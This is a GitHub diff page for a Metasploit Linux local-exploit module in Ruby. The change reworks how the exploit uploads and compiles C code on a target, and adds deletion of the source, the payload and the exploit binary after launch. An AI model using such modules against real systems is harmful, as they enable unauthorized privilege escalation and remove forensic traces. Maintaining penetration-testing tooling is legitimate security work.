File tree Expand file tree Collapse file tree 1 file changed +10
-3
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +10
-3
lines changed Original file line number Diff line number Diff line change @@ -83,7 +83,6 @@ def upload(path, data)
83
83
print_status "Writing '#{ path } ' (#{ data . size } bytes) ..."
84
84
rm_f path
85
85
write_file path , data
86
- register_file_for_cleanup path
87
86
end
88
87
89
88
def upload_and_chmodx ( path , data )
@@ -93,15 +92,20 @@ def upload_and_chmodx(path, data)
93
92
94
93
def upload_and_compile ( path , data )
95
94
upload "#{ path } .c" , data
96
- output = cmd_exec "gcc -o #{ path } #{ path } .c -lpthread"
95
+
96
+ gcc_cmd = "gcc -o #{ path } #{ path } .c -lpthread"
97
+ if session . type . eql? 'shell'
98
+ gcc_cmd = "PATH=$PATH:/usr/bin/ #{ gcc_cmd } "
99
+ end
100
+ output = cmd_exec gcc_cmd
101
+ rm_f "#{ path } .c"
97
102
98
103
unless output . blank?
99
104
print_error output
100
105
fail_with Failure ::Unknown , "#{ path } .c failed to compile"
101
106
end
102
107
103
108
cmd_exec "chmod +x #{ path } "
104
- register_file_for_cleanup path
105
109
end
106
110
107
111
def exploit_data ( file )
@@ -189,5 +193,8 @@ def exploit
189
193
print_status "Launching exploit (Timeout: #{ timeout } )..."
190
194
output = cmd_exec "echo '#{ payload_path } & exit' | #{ executable_path } " , nil , timeout
191
195
output . each_line { |line | vprint_status line . chomp }
196
+ print_status "Cleaning up #{ payload_path } and #{ executable_path } .."
197
+ rm_f executable_path
198
+ rm_f payload_path
192
199
end
193
200
end
You can’t perform that action at this time.
0 commit comments